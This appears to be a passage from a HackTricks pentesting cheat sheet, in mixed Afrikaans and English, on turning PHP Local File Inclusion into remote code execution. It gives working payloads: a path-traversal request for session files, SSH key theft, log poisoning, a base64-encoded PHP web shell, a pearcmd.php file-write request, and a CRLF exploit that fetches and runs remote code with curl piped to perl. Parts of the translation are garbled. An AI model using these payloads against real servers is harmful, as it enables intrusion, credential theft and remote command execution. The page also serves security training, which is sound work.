login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa

Via vsftpd logs

Die logs vir die FTP-bediener vsftpd is geleë by /var/log/vsftpd.log. In die scenario waar ’n Local File Inclusion (LFI) kwetsbaarheid bestaan, en toegang tot ’n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:

  1. Injekteer ’n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.
  2. Na die injeksie, gebruik die LFI om die bedienerlogs van /var/log/vsftpd.log te haal.

Via php base64 filter (using base64)

As shown in this article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with “.php”, and it would just ignore the “.” and append “php” to the base64. Here is an example payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

This writeup verduidelik dat jy php filters to generate arbitrary content as output kan gebruik. Wat basies beteken dat jy generate arbitrary php code vir die include kan kry without needing to write dit na ’n lêer.

LFI2RCE via PHP Filters

Via segmentation fault

Upload ’n lêer wat as temporary in /tmp gestoor sal word; dan, in die same request, veroorsaak ’n segmentation fault, waarna die temporary file won’t be deleted en jy daarna kan soek.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

As jy ’n Local File Inclusion gevind het en Nginx voor PHP loop, kan jy moontlik RCE verkry met die volgende tegniek:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

As jy ’n Local File Inclusion gevind het, selfs al het jy don’t have a session en session.auto_start is Off. As jy die PHP_SESSION_UPLOAD_PROGRESS in multipart POST data voorsien, sal PHP die enable the session for you. Dit kan misbruik word om RCE te kry:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

As jy ’n Local File Inclusion gevind het en die bediener op Windows loop, kan jy moontlik RCE kry:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, die skrip /usr/local/lib/phppearcmd.php bestaan standaard in php docker images. Verder is dit moontlik om argumente aan die skrip via die URL deur te gee omdat daar aangedui word dat as ’n URL param nie ’n = het nie, dit as ’n argument gebruik moet word. Sien ook watchTowr’s write-up en Orange Tsai’s “Confusion Attacks”.

Die volgende versoek skep ’n lêer in /tmp/hello.php met die inhoud <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Die volgende misbruik ’n CRLF vuln om RCE te kry (van here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Deur phpinfo() (file_uploads = on)

As jy ’n Local File Inclusion gevind het en ’n lêer wat phpinfo() openbaar met file_uploads = on, kan jy RCE kry:

LFI2RCE via phpinfo()

Deur compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

As jy ’n Local File Inclusion gevind het en jy die path van die temp-lêer kan exfiltrate, MAAR die server kontroleer of die file to be included has PHP marks, kan jy probeer om daardie kontrole te omseil met hierdie Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Deur eternal waiting + bruteforce

As jy die LFI kan misbruik om temporary files op te laai en die server die PHP-uitvoering te laat hang, kan jy dan brute force lêernaam ure lank probeer om die temporary file te vind:

LFI2RCE via Eternal waiting

Tot Fatal Error

As jy enige van die lêers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar insluit. (Jy moet dieselfde een 2 time insluit om daardie error te gooi).

Ek weet nie hoe dit nuttig is nie maar dit kan wees.
Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks